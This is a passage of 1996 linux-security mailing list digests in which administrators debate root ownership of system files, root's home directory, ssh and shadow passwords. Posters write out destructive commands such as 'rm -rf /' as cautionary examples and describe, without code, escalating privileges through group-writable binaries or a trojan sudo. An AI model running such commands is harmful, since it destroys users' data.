from the fact that many of the linux community appear to manage their machines locally where the user is the administrator I think that is unfair to people who designed the layout (FSSTND folk and distribution authors) gave a significant thought to it, and tried to improve the traditional setup. I actually think that the Linux setup makes more sense in many cases, and the traditional setup is simply more familiar. One of the irritating assumptions is that group "root" exists. There are too many packages whose "make install" contains "chown root.root ....". We dont have a root group, our /etc/group file is common across all our machines. Well, it is only a logical consequence of the 1GID/1UID setup, which, again, makes sense to me. Why couldn't you simply add group root to your /etc/group? it won't harm the machines on which it is not used... Another is that roots home directory is not the root of the filesystem. This is the very first thing we have to fix on any linux installation - its complete brain damage. I must say that I feel safer with root's home directory being /root; the only reason why it should not be /home/root is that it must be on the root filesystem. przemek klosowski ([email protected]) Reactor Division (bldg. 235), E111 National Institute of Standards and Technology Gaithersburg, MD 20899, USA (301) 975 6249 ------------------------------ End of linux-security-digest V2 #24 *********************************** linux-security-digest/v02.n025100664 1767 1767 53654 6157064136 15464 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #25 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 10 June 1996 Volume 02 : Number 025 Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? ---------------------------------------------------------------------- From: shaggenbunsenburner Date: Thu, 6 Jun 1996 17:47:28 -0400 (EDT) Subject: Re: [linux-security] standard users,groups,perms? On Thu, 6 Jun 1996, Maarten Ballintijn wrote: > > I always insist that absolutely nothing at all whatsoever on the file > > system be owned by root. Nothing. At all. Unless there is no other > > way to do it (whatever the "it" might be). There should be a small set > > of accounts whose passwords are protected equally as well as root's, > > that are used for maintaining the various parts of the system. These > > would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, This goes against almost every security policy I've ever seen, which all make a big deal of "single point of failure". Single point of failure means that, possibly, one thing could bring down the whole system, but it's a hell of lot easier to guard against one big thing than a bunch of little ones. It's like the quote in "Firewalls & Internet Security" - The fool says "Don't put all your eggs in one basket," but the wise man says "Put all your eggs in one basket and WATCH THAT BASKET!" In any case, I've talked to a lot of people who feel that a total system crash is actually EASIER to recover from than a partial security breach. If someone gets root and does an "rm -rf /", well, you're down for a couple of hours while you restore from the backup tape (you DID make a backup, didn't you?) and that's that. OTOH, if a couple of system binaries are replaced with trojan horses, you've got to go through the entire system and make sure nothing else has been compromised and that there are no new back doors. > > field, etc. Directories and files - ESPECIALLY setuid programs (and > > more of those should be setgid) - should be owned by one of these, and > > NOT by root. This would reduce immensely the number of times that it > > would be "necessary" to be root to perform some task or other; and thus > > the number of windows of opportunity for certain types of attack - and > > for simple mistakes. Not necessarily - because of UNIX's security model, you still need superuser privilege to do certain things on the system. It doesn't matter whether you call yourself "root" or not, you still need it. Granted, there are a LOT of things that are done as root that really don't need to be (almost every MTA quickly comes to mind). But, in the example of mail I just mentioned, if someone gets SGID mail access through a bug and hoses the mail spool, it's not any better than if he got root and did that. Well, okay, maybe a LITTLE better, but the configuration headaches involved would make it about the same. > A small example, if /, /bin, /etc, /lib are not owned by root, then the > uid owning these dirs (and there are many more) is equivalent with > the root account. The cops package was based on this chaining principle > already many years ago. Exactly. It doesn't matter "who" owns things, they're still vulnerable to attack. > > Recently, at a site whose administrator is in our local SAGE chapter, > > someone's helper edited the /etc/password file and accidentally altered > > the super-user password. The /etc/password file was owned by root. It > > couldn't be fixed without resorting to booting a stand-alone system in > > a memory disk from the installation media. That took a while - and an > > appeal to the mailing list - to come up with. Needless. > > What is the point ? do not let someone's helpers cousin's neighbors edit > your password file :-) hahaha :) My question is, how would spreading the superuser privilege have avoided this disaster? shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine ------------------------------ From: shaggenbunsenburner Date: Thu, 6 Jun 1996 17:57:06 -0400 (EDT) Subject: Re: [linux-security] standard users,groups,perms? On Thu, 6 Jun 1996, Richard Black wrote: > One of the irritating assumptions is that group "root" exists. There are too > many packages whose "make install" contains "chown root.root ....". We dont > have a root group, our /etc/group file is common across all our machines. I assume you have a group with GID 0? Then why not add the "root" group as another GID 0 group at the end of the file so that the "chown" works? It won't break anything already in place, but it will let that chown work. > Another is that roots home directory is not the root of the filesystem. This > is the very first thing we have to fix on any linux installation - its > complete brain damage. If you have automatic systems installing and updating > remotely using rsh etc on many different systems some of which have different > partitioning information and different partitions served r/o from different > places etc, you must be in a position to be able to use rsh and rdist with > root-relative paths. Although this is my personal opinion, I much prefer to have /root or /home/root or something else on the / partition. Since root tends to store at least some files in her account, it seems to make sense to have those files in a special directory, and not cluttering up the / directory. I also would rather not have my users seeing any of my files, whether they can read them or not. "Traffic analysis" works too well too often. Finally - This mail doesn't seem particularly concerned with Linux security issues, more like configuration issues. It sounds as if you are expecting Linux to, out-of-the-box, conform to other OS's, and that it should, right or wrong, do the same thing as those OS's. The latter idea is at best foolhardy, and the former one doesn't really apply. Linux is perhaps the most configurable operating system I have EVER seen. If you don't like where something is, you can move it just about anywhere you want. The attitude sounds like one of "Linux hasn't been around long enough to know what's best; therefore it should conform." You can make it do so yourself if you want, but don't expect the builders of the system to do it for you. shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine ------------------------------ From: Tomasz Surmacz Date: Fri, 7 Jun 1996 00:33:12 +0200 (MET DST) Subject: Re: [linux-security] standard users,groups,perms? [email protected] (Richard Black) wrote: > > Our experience is that some of the user / group assumptions on linux are > irritating, probably derived from the fact that many of the linux community ... > Another is that roots home directory is not the root of the filesystem. This > is the very first thing we have to fix on any linux installation - its > complete brain damage. If you have automatic systems installing and updating Why? Does root's home directory really need to be / ? It's really annoying to have all those /Mail, /.cshrc, /.profile, /.exrc, /.history (etc.) files and directories, don't you think so? If root's home is something else than / you may also do 'chmod 700 ~root' and stop users from sniffing around root's working environment. It really is much safer to arrange things that way [1]. I personally use /root as root's home not only on Linux, but also on all other unixes I am in charge of, like SunOS, Solaris or IRIX. With no side-effects at all (the only thing you should care in such a setup is that ~root should really be on the root partition, ie. not /home/root if /home is a separate one - otherwise, when problems arise, you may have twice as much of them.) > remotely using rsh etc on many different systems some of which have different > partitioning information and different partitions served r/o from different > places etc, you must be in a position to be able to use rsh and rdist with > root-relative paths. Well, whatever the partitioning system is, if you just put '/' in front of the path or file name, it will bring you whatever you really want to. Using relative paths when doing something remotly is never a good idea. Tomasz [1] BTW. I once had to clean the mess after the wanna-be system administrator, who after discovering that root's home was /root (on a solaris box) first moved all the files from there to /, then changed ~root to /, then 'chmod 700 ~root'. Finding it out over a phone was not a trivial task (yes, you guessed it, nobody except root could log in, and root could not log in over the net of course...). - -- _________ (_ _' __) Tomasz R. Surmacz *---* Work:(071)202636, [email protected] | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ *----* Home: [email protected] |__(____/ For PGP key finger [email protected] *---* irc: TomekS ------------------------------ From: Synthesizer Punk Date: Thu, 6 Jun 1996 19:45:01 -0400 (EDT) Subject: Re: [linux-security] SSL On Thu, 6 Jun 1996, Alan Cox wrote: > ssh is a slightly different tool but has these features. US citizens can > get it from finland but do need to read the documentation to disable certain > items before their Government will allow them to use it (patent hooha as usual) > > Alan ssh is a very usefull tool. I am very impressed with it's simplicity and functionality. It's a must for anyone who fears being sniffed or fears Big Brother (government) all together. I installed it a while ago and have been playing with it for a while. I seriously suggest you get it at any of these following ftp sites. Ssh is currently available for anonymous ftp at the following locations. * Australia: coombs.anu.edu.au:/pub/security * Austria: ftp.giga.or.at:/pub/security/ssh * Denmark: sunsite.auc.dk:/pub/security/ssh * Finland: ftp.funet.fi:/pub/unix/security/login/ssh * Finland: ftp.cs.hut.fi/pub/ssh (master site) * Germany: ftp.cert.dfn.de:/pub/tools/net/ssh * Hungary: ftp.kfki.hu:/pub/packages/security/ssh * Ireland: odyssey.ucc.ie:/pub/ssh * Israel: ftp.technion.ac.il:/security/ssh * Norway: ftp.unit.no:/pub/unix/security * Portugal: ftp.dei.uc.pt:/pub/security/tools/ssh * Poland: ftp.agh.edu.pl:/pub/security/ssh * Russia: ftp.kiae.su:/unix/crypto * Singapore: infinity.nus.sg:/pub/ssh * Slovenia: ftp.arnes.si:/security/ssh * South Africa: ftp.is.co.za:/security/network/ssh * United Kingdom: ftp.exweb.com:/pub/security/ssh * USA: ftp.gw.com:/pub/unix/ssh * USA: ftp.net.ohio-state.edu:/pub/security/ssh * USA: ftp.neosoft.com:/systems/unix/security/ssh Beta versions and snapshots are available in ftp.cs.hut.fi:/pub/ssh/snapshots. BTW, Alan, where can I get more info on IPv6? (ng :p) I have a few ideas and some demographic information I would love to share with the developers. Regards, Synthesizer Punk synthpunk!Lucas@*.netline.net / irc.wasteland.org#linux . - -- -- -------__--__------------------__---.-- - - - -- ----- --- ----. : ___ __ _____ / /_/ / ___ __ _____ / /__ : mailto:[email protected] : |(_- Date: Thu, 6 Jun 1996 17:21:59 -1000 (HST) Subject: Re: [linux-security] SSL > > BTW, Alan, where can I get more info on IPv6? (ng :p) I have a > few ideas and some demographic information I would love to share with the > developers. i'm on the IPv6 mailing list (let me go grab the mailing list addr real quick, don't know why i'm writing this, not like you have to wait :p) To join in the work on Linux IPv6 send mail to: [email protected] and in the body of the message include: subscribe netdev there, that'll keep you up to date on it. ,''~``. ,''``~. ( o o ) ,( o o ), /--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.---\ | http://www.thirdwave.net/~jordy/ | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | .oooO Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | \-----\ (----( )------------------------( )--- ) /------/ \_) ) / \ ( (_/ (_/ \_) ------------------------------ From: [email protected] (Jeffrey J. Radice) Date: Thu, 6 Jun 1996 17:09:38 -0500 (CDT) Subject: Re: [linux-security] standard users,groups,perms? >On Thu, 6 Jun 1996, Richard Black wrote: > >>One of the irritating assumptions is that group "root" exists. There are too >> many packages whose "make install" contains "chown root.root ....". We dont >> have a root group, our /etc/group file is common across all our machines. > >I assume you have a group with GID 0? Then why not add the "root" group >as another GID 0 group at the end of the file so that the "chown" works? >It won't break anything already in place, but it will let that chown >work. I for one didn't realize that was possible. I agree that software should not presume that GID 0 is root, and Makefiles that include an install option should have the UID and GID configurable at the beginning of the script as a variable; not hardwired in. >Finally - This mail doesn't seem particularly concerned with Linux >security issues, more like configuration issues. Ahh, but there is a grey area in which the two become one. I think it foolhardy to ruminate over configuration without considering security. Which is why I asked the question in the first place. I was not suggesting that there should be a standard for system users, groups and perms -- only asking advice about what a reasonable configuration for them might be. I appreciate all the feedback I've received, though haven't digested it all. I'm still interested in references to books, articles or docs that discuss the issue at greater length. Any pointers? - -jjr ------------------------------ From: Fabrizio Giudici Date: Fri, 07 Jun 1996 13:16:46 +0200 Subject: Re: [linux-security] standard users,groups,perms? Richard Black wrote: > [snip] > > Another is that roots home directory is not the root of the filesystem. This > is the very first thing we have to fix on any linux installation - its > complete brain damage. If you have automatic systems installing and updating > remotely using rsh etc on many different systems some of which have different > partitioning information and different partitions served r/o from different > places etc, you must be in a position to be able to use rsh and rdist with > root-relative paths. > I disagree on this. Having a root home directory different than the file system root is quite useful in my opinion. This prevents from the proliferation of personalization files (such as .alias, .cshrc, .tcshrc and so on) or sysadm's own maintenance scripts in /. Putting all this stuff into /root make things more tidy. Until some months ago I was administering a network with half a dozen Linux machines plus some Sun and HP, and I had no problems in writing rsh scripts to remotely update configuration files. Simply I tailored some features to the system, selecting with uname. After all, there are *many* relevant differences among various Unices, even not considering Linux - and we can't pretend they are not there. I'd like to know some other people's opinion about this... Apart from above-mentioned topics, is there any major problem in putting root's home into /root? I have to say that at that time I created /root directories even in Sun and HP machines... and they worked fine... ;-) Ciao. - -- .---------------------------------------------------------------------------. | Fabrizio Giudici, PhD Student ([email protected]) | Style distinguishes | | WWW-PAGE: http://tomcat.dibe.unige.it/~fritz/ | excellence from | | PHONE: +39 10 3532192 / 3532174 / 3532897 | accomplishment. | | FAX: +39 10 3532175 `---------------------| | Dept. of Biophys. and Elect. Eng. (DIBE), University of Genoa - ITALY | `---------------------------------------------------------------------------' All expressed opinions are personal and not of the organization I work for. ------------------------------ From: Stefano Taino Date: Fri, 7 Jun 1996 14:54:13 +0200 (METDST) Subject: Re: [linux-security] SSL [Mod: Quoting trimmed. --Jeff.] > ssh is a slightly different tool but has these features. US citizens can > get it from finland but do need to read the documentation to disable certain > items before their Government will allow them to use it (patent hooha as usual) > > Alan Have a look at STEL too. idea.sec.dsi.unimi.it:/cert-it/stel.tar.gz - -- Stefano. - -- Stefano Taino, Technical Manager CryptoNet Srl. via 8va strada 24 20090 Segrate, MI email: [email protected] phone: +39-2-7533205 fax: +39-2-7533220 ------------------------------ From: Squawk Date: Fri, 7 Jun 1996 08:57:30 -0400 (EDT) Subject: Re: [linux-security] standard users,groups,perms? On Thu, 6 Jun 1996, Richard Black wrote: > > At this site we integrate a large number of linux boxes with a large number of > other machines from very many other vendors. > > Our experience is that some of the user / group assumptions on linux are > irritating, probably derived from the fact that many of the linux community > appear to manage their machines locally where the user is the administrator > and the machine is isolated. Witnes (for example) the very long time for which > the password entries in /etc/passwd were not encrypted correctly for > alpha_linux (a 64bit problem) and it wasnt noticed!! > not that many people have alpha_linux up and running. I think its safe to say that the majority of linux users are home users, with PC's. It's pretty difficult to notice problems if you have a limited users group > Another is that roots home directory is not the root of the filesystem. This > is the very first thing we have to fix on any linux installation - its > complete brain damage. If you have automatic systems installing and updating > remotely using rsh etc on many different systems some of which have different > partitioning information and different partitions served r/o from different > places etc, you must be in a position to be able to use rsh and rdist with > root-relative paths. The old addage "you get what you pay for" comes to mind. for a free, stable, powerful operating system i'd spend the 30 seconds rditing /etc/passwd (and all related files) to make roots homedir where I want it.. while the user/group system may seem odd to you, i've noticed big differences in all flavors of unix about the user group differences.. I wouldn't consider this a TRUE security problem (though it may cause you security problems down the road, you have to be really careful), instead i'd consider it an inconvienience.. - -Dan ------------------------------ From: "Rob J. Nauta" Date: Fri, 07 Jun 1996 14:55:58 METDST Subject: Re: [linux-security] standard users,groups,perms? > > > bin 2 / Own binaries (bin,sbin,etc) directories. > > Not if you have NFS. Also consider the fact root security is much more tightly > guarded than bin. > > Indeed, this discussion started out on the wrong foot from the start. In file and process security, one should strive to give processes the MINIMUM privileges - run as 'nobody' where 'nobody' is a user with a blocked password and /bin/false as shell. File protections should have the MAXIMUM privileges, that is, owned by root. If you make them owned by 'nobody' you reduce security, you don't increase it. This goes for all ordinary files. Obviously suid binaries have to be owned by the uid as which they will run. If you run a subsystem as a user, say 'bin', and config/program files or directories are also owned by bin, someone that exploits a bug in that part, can also modify files. If all files are owned by root, one would have to break root to modify anything, and then you can modify any file in the system anyway. Plus indeed, root is more protected by eg. NFS, which remaps root accesses to 'nobody'. Hence a file owned by root can never be modified over NFS if you export it the right way. [Mod: Under recent versions of Olaf's Linux nfsd, arbitrary uid's/gid's can be remapped the same as root's. --Jeff.] Rob - -- ~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~ Rob J. Nauta [email protected] REDWOOD Business Group B.V. Phone: +31-306931310 Princenhof Park 13 Telefax: +31-306930477 3972 NG DRIEBERGEN The Netherlands ------------------------------ End of linux-security-digest V2 #25 *********************************** linux-security-digest/v02.n026100664 1767 1767 57503 6157310125 15452 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #26 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 11 June 1996 Volume 02 : Number 026 Re: [linux-security] SSL [linux-security] ANNOUNCE: Shadow + Red Hat (and more) RPMS and source now available!! Re: [linux-security] standard users,groups,perms? [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? ---------------------------------------------------------------------- From: "Rob J. Nauta" Date: Fri, 07 Jun 1996 14:49:39 METDST Subject: Re: [linux-security] SSL > > > One thing that seems to bother me is that in the telnet daemon, it won't > > ask for the login name if the client and daemon have authentication. I > > guess this is a "feature", it would be a lot nicer if it used the keys > > and the password with kerberos encryption. I think this would probably > > fix the problem of packet sniffing of the passwords while login. > > ssh is a slightly different tool but has these features. US citizens can > get it from finland but do need to read the documentation to disable certain > items before their Government will allow them to use it (patent hooha > as usual) Just a small reminder: the government enforces ITAR, the export regulations. That's why you cannot export encryption technology outside of the USA. SSH however requires USA citizens to use RSAref, the official RSA library. This has to do with the fact that RSA is a patented algorithm in the USA. Patent violations are usually a matter for civil court and lawsuits, not criminal law. Thus the phrase 'before their Government will allow them to use it' is incorrect - if you get into trouble, you won't get arrested by the government, you'll get sued by the owners of the RSA patents (is that PKP ?). Rob - -- ~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~ Rob J. Nauta [email protected] ------------------------------ From: [email protected] (Tim Hockin) Date: Fri, 7 Jun 1996 14:15:53 -0500 (CDT) Subject: [linux-security] ANNOUNCE: Shadow + Red Hat (and more) RPMS and source now available!! ANNOUNCEMENT: Red Hat Linux + Shadow passwords !!! We are pleased to announce the public availability of a set of sources/patches and RPM/SRPM sets to seamlessly enable shadow passwords on Red Hat Commercial Linux, and other Linux distributions. We have compiled the latest and greatest versions of many applications that require password authentication, and made them completely compatible with shadow passwords. They are also 100 % compatible with standard passwords. These packages are designed to be used on shadow or non-shadow systems. These packages are also fully md5 password capable, allowing transfer of password files from *BSD, and other UNIXes. These files, while definately not ALL applications, are a good number of them. We are always looking for new releases, and new versions. These packages are available at http://www.broadwaynet.com/~shadow or ftp://ftp.broadwaynet.com/pub/shadow Please use them and test them, and notify us of any problems. There is also a RedHat+shadow-HOWTO in the docs/ directory, please read it for more information and instructions. We can be reached at [email protected]. Tim Hockin Chris Yeo Cristian Gafton - -- Tim Hockin [email protected] Soon anyone who's not on the World Wide Web will qualify for a government subsidy for the home-pageless --Scott Adams ------------------------------ From: "Joseph S. D. Yao" Date: Fri, 7 Jun 1996 17:56:18 -0400 Subject: Re: [linux-security] standard users,groups,perms? > > I always insist that absolutely nothing at all whatsoever on the file > > system be owned by root. ... > And in practise, the "root" account is better protected by such > provisions as securetty (can root login on /dev/modem, /dev/pty0?) > nfs root->nobody remapping, rhosts' special case for "root" > (Not honouring /etc/hosts.equiv) etc etc. It needs to be. It has special privileges. The others do NOT. > So I agree with you that for a set of unexperienced administrators, > it would be nice to have each of them only capable of creating havock > with only part of the system. You miss the point entirely. You have a SMALL number of people (1-2) with ALL of the passwords. Experience doesn't diminish the OOPS! factor. I've been working with computers and the 'Net (in its changing forms) for over 20 years. My fingers occasionally type in things that I didn't tell them to. [;-)] Actually, your suggestion is another way that you can use these separate accounts. The person who has lots of experience with UUCP and is always doing UUCP stuff really only memorizes the uucp password, as well as his own and root's. The kernel guru: sys's. Etc. Thank you for an excellent (if accidental) point. "Unexperienced" people have no business having any of these passwords. > Once you can get all applications(*) to treat uids < SOME_LIMIT the > same as "root" I would start to agree with you. > (*) And it will be hard to verify that we've modified indeed ALL > applications..... No! No! A thousand times, no! The whole point is, these other accounts do NOT have the privileges of a "root"! OBTW, it has nothing to do with the applications; it is the KERNEL that checks whether a given process has "super-user" credentials; usually by examining the UID and seeing whether it is 0 (except in some experimental security kernels). > ** Q: What's the difference between MicroSoft Windows and a virus? ** > ** A: Apart from the fact that virusses install easier, none. ** Quite right. ;-) ;-) Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: Jeff Uphoff Date: Mon, 10 Jun 1996 14:55:05 -0400 Subject: [linux-security] Admin note (recent traffic surge). - -----BEGIN PGP SIGNED MESSAGE----- I realize that there has been a sudden surge in linux-security traffic. The reasons for this are: 1) A backlog caused by my being both very busy and out of town a bit recently; I'm basically "batch approving" the last several days' messages to the list to clear the backlog. 2) A thread with highly "religious" and contentious aspects: uid/gid ownership of system files, configuration of the root account, etc.... Regarding 1): Once I've cleared the backlog hopefully things will return to normal. Regarding 2): I'm going to approve/forward most of the rest of the pending messages on this thread (there are still several), mainly so that everyone can see and digest all of the issues, opinions, etc., that people have and thus be better informed when developing their own personal approaches. I think it's fairly safe to say that most everyone already has a slightly different approach to this, that there is no "One True Answer," and that this thread is a good (though voluminous!) "airing out" of these different ideas and opinions. Thanks for your patience! - - --Up. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMbxvX3oDqzGe1QXFAQFiWQP/SUGYQxPMK7dAkNyyJHeTm0SzA5UWs+kv 2Jl4gILIx3AbaKYSsn1me5R8ylnz+WMuW0iVYdGq6ClQuKs7piyIQYdUJmeRBcBj +am9X8gTqjBFXBzYlYQfUhh+2yiEyOr4+mfmDdH2MuWOWExvDjr2dJkgX3DeMeyk hePkS4veSQc= =rQ0m - -----END PGP SIGNATURE----- ------------------------------ From: Richard Black Date: Fri, 07 Jun 1996 13:34:18 +0100 Subject: Re: [linux-security] standard users,groups,perms? > Since root tends to > store at least some files in her account, it seems to make sense to have > those files in a special directory, and not cluttering up the / > directory. I also would rather not have my users seeing any of my files, > whether they can read them or not. Exactly my point, another example of the "local administrator" mentality ("root's files" == "my files"). Root has exactly two files. They are .profile which is publically readable because thats what users get when they log in and their home directory is unavailable (e.g. filesever down). And .rhosts which is a copy/link of /etc/hosts.equiv which allows the machine to be administered. I dont regard two (dot) files as clutter. > > Judd Bourgeois | When we are planning for posterity, > [email protected] | we ought to remember that virtue is > Finger for PGP key | not hereditary. Thomas Paine > > > Richard. ------------------------------ From: "Joseph S. D. Yao" Date: Fri, 7 Jun 1996 18:06:10 -0400 Subject: Re: [linux-security] standard users,groups,perms? > "Joseph S. D. Yao wrote:" > > I always insist that absolutely nothing at all whatsoever on the file > > system be owned by root. ... > From a security point of view I do not think this is a wise guideline. > By introducing more accounts the number of weak links is increased, > there is less support from the kernel to protect these accounts, an > people are more careless ``because it is not the root account'' Security is a people problem first, a technical problem second. TELL them that those accounts' passwords must be protected the same, and don't EVER let them think otherwise. Make the mystique around, not "root", but "root & bin & sys & adm" (or whatever). > What is the point ? do not let someone's helpers cousin's neighbors edit > your password file :-) Indeed ... that is an additional point one can gain from the tale. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: Andy Burgess Date: Fri, 7 Jun 1996 16:31:03 -0700 Subject: Re: [linux-security] SSL [Mod: Quoting trimmed. --Jeff.] >ssh is a slightly different tool but has these features. US citizens can >get it from finland but do need to read the documentation to disable certain >items before their Government will allow them to use it (patent hooha as usual) SSH also does compression before encrypting, very important for modem users. Encrypted data is generally not compressable so your modem throughput is reduced with SSL and may be increased with SSH as it uses gzip type compression which is better than what the modem hardware can do. - -- Best regards, Andy Burgess [email protected] ------------------------------ From: Adam Prato Date: Sat, 8 Jun 1996 05:29:31 -0600 (MDT) Subject: Re: [linux-security] standard users,groups,perms? On Tue, 4 Jun 1996, Jeffrey J. Radice wrote: > most things simply root.wheel owned, or is there any benefit to splitting > ownership into different levels of access? Is there anything I've left > out? I also would like further information about standard permissions. I dont know if this is a blanket statement and not an entirely worthwhile idea, but IMO, I dont see why any 'system' executable should be owned by anything other than root. Any 'special' access should have group executable / (directory)writeable permissions. I've found many ways on many os's to get elevated privilege, such as bin/sys privileges, and since system files (ie, /usr and above, /sbin, /bin) were group/user writeable by other than root, it is possible to replace these executables with your own executables. If root ever runs this executable, then you can get root privileges. I apologize for any gramatical errors, or if this little opinion of mine wasn't entirely eloquent, but its late and I need sleep Adam ------------------------------ From: Adam Prato Date: Sat, 8 Jun 1996 05:31:32 -0600 (MDT) Subject: Re: [linux-security] standard users,groups,perms? On Wed, 5 Jun 1996, Joseph S. D. Yao wrote: > I always insist that absolutely nothing at all whatsoever on the file > system be owned by root. Nothing. At all. Unless there is no other > way to do it (whatever the "it" might be). There should be a small set > of accounts whose passwords are protected equally as well as root's, > that are used for maintaining the various parts of the system. These > would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, > field, etc. Directories and files - ESPECIALLY setuid programs (and > more of those should be setgid) - should be owned by one of these, and > NOT by root. This would reduce immensely the number of times that it > would be "necessary" to be root to perform some task or other; and thus > the number of windows of opportunity for certain types of attack - and > for simple mistakes. I dont see how root 'ownership' plays into this. The owner of a file means that this userid is the only one who can make changes to the file itself. Could you please explain the benefits of not having root owned files on a system? This concept seems to elude me. Adam ------------------------------ From: "Joseph S. D. Yao" Date: Mon, 10 Jun 1996 13:44:03 -0400 Subject: Re: [linux-security] standard users,groups,perms? > Date: Sat, 8 Jun 1996 05:31:32 -0600 (MDT) > From: Adam Prato > Subject: Re: [linux-security] standard users,groups,perms? > I dont see how root 'ownership' plays into this. The owner of a file means > that this userid is the only one who can make changes to the file itself. > Could you please explain the benefits of not having root owned files on a > system? This concept seems to elude me. Not true: the super-user account, which in recent (last 20 years ;-)) versions of Unix has been called "root", has all reasonable accesses to a regular file on a regular disk file system, even though it might not "own" the file. Hence some people fall into the trap of doing everything su'ed to or logged in as "root". Hence all files thus created or copied become owned by root. Which then seems to be the natural order of things for these people. Since all things are owned by root, they and their successors then get into or stay in the habit of doing all things su'ed to or logged in as "root". And when they accidentally do, from the directory they thought was /tmp but is really /, an "rm -rf .[A-Za-z]* *", all they can say is "well, it couldn't be helped." The same when they copy a file into /dev/hda. The same when they do anything which a sane set of permissions and user/group "ownership"s might have prevented, but which ownership by "root" and thus, necessarily, modification as "root" does little to prevent. This is what I try to prevent by making things not owned by "root". It's not that they are owned by "root" that causes me grief. It's that people then have to do maintenance to them as "root". And, yes, if you have to routinely distribute tasks in a fixed and predictable manner, then tools such as 'sudo' help. If you trust them. [;-)/2] Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: Tom Briggs Date: Tue, 11 Jun 1996 09:49:05 -0400 (EDT) Subject: Re: [linux-security] standard users,groups,perms? The discussion regarding apropriate users, groups, file locations, etc, is really quite philosophical in nature. To suggest that the security setup for a UNIX system that handles thousands of users in a class C2 secure setup (or higher, SCO now supports B grade security) should be the same setup as a UNIX system that handles a hacker or two on their own home PC is ridiculous. First off, for the higher grades of security, (B grade specifically), you cannot have a single all-powerful superuser, the superuser needs to have restrictions. That is the idea of the Wheel oligarchy introduced in System V Release 4. BSD-ish systems have been very sluggish to implement the enhanched suite of security SVR4 provides. Under this arrangement, a well administered system has sub-system managers, for example, a mail manager, a system manager, a uucp manager, and network manager, and database manager, etc, etc, etc. These managers have the ability to work in their own file areas (example, the database manager has the ability to be "super-database user"), and they often have access to a select subset of files using the wheel super-group. (instead of su, sg). These subsystems have applications which, in a perfect world, may need to be setuid to root, but the applications themselves do what they need as root, and then set control back to their own proper subsytems. This is a proper arrangement for a system that costs millions of dollars, has 5+ administrators, and is mission critical to a multi-million dollar enterprise, and would probably not be running on PC class machines. Linux' security, while good, is not fool proof, and the argument about where root's home directory is, is trivial in comparision to some of the other large scale holes in the system. Having used some large System V machines, and some suns, and DECs, and MIPS, and some AIX machines, I must say, Sun's decision to lump everything into "/" is probably one of the stupidest decisions I've ever heard of. Sun's target is high end work stations, and some medium grade servers. They generally have one or two users as admins, and the need to split up security across many users is minimal (I don't think Solaris even counts as a B grade secure systems, does it even count as C2?) So, there will probably be one and only one user as admin, and then its apropriate to have a super-user "root." Since that admin will often use the "root" account, its also proper *not* to have that account in "/", since on a Sun, "/" is normally quite a small parition ( 3 different Sun reps suggested <20MB). Thats pitiful. Anyway, its rather quite aproprite to have /root somewhere where there is disk space. The comment about having /root on the root partition is also wrong. My theory on this is as follows: if the system absolutely needs a binary to startup, then it should be in /sbin, or /etc, or wherever the other required binaries are, not /root. How easy is it for a human being ( yes, human beings are system administrators, and thus, make mistakes), to remove a file without *really* thinking about what that file is. I don't think I've ever really purged anything in /sbin before, I know I've housecleaned /root, and I've deleted things I wish I hadn't, but nothing that affects system stability. - ---------------------------- Tom Briggs, Library Automated Systems Manager, Ezra Lehman Memorial Library, Shippensburg University ------------------------------ From: [email protected] (Rogier Wolff) Date: Tue, 11 Jun 1996 09:10:59 +0200 (METDST) Subject: Re: [linux-security] standard users,groups,perms? > So you install and maintain sudo. That way you give specific root > privileges to certain programs, to be invoked by certain users only. As > an added benefit, it gives you logging too. Oh, simply getting a shell > in someone else's name doesn't work with sudo; you still need the > user's password to do something useful. This makes me angry. Simply getting a shell in someone elses name ALWAYS gets you his privileges. In the case of having to go through sudo, you might have to install a trojan "sudo" in his account to do it..... But having shell access to someone's account is "enough" to gain his privileges. A cracker builds up a suitable toolset and trickset to do this kind of thing unobtrusively over time.... Roger. - -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses install easier, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** ------------------------------ From: "Matthew J. Hill" Date: Mon, 10 Jun 1996 21:34:57 -0400 (EDT) Subject: Re: [linux-security] standard 